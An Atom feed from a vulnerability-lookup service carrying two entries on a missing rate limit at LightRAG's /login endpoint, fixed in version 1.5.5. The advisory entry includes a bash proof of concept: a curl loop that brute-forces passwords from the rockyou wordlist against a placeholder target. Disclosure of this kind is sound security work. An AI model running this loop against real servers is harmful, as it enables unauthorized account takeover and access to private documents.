<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-09-29T22:26:51.417671+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/fkie_cve-2026-85734</id>
    <title>fkie_cve-2026-85734</title>
    <updated>2026-09-29T22:26:51.421020+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.</p>
      </div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/fkie_cve-2026-85734"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-frch-4w6v-q5xx</id>
    <title>GHSA-frch-4w6v-q5xx — lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks</title>
    <updated>2026-09-29T22:26:51.421180+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: lightrag-hku</p>
<p>### Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.</p>
<p>### Details</p>
<p>```python
# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter
```</p>
<p>A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.</p>
<p>### PoC</p>
<p>```bash
# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://&lt;TARGET&gt;:9621/login \
    -d "username=admin&amp;password=${pass}")
  [ "$code" = "200" ] &amp;&amp; echo "[FOUND] $pass" &amp;&amp; break
done &lt; /usr/share/wordlists/rockyou.txt
```</p>
<p>### Impact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-frch-4w6v-q5xx"/>
  </entry>
</feed>
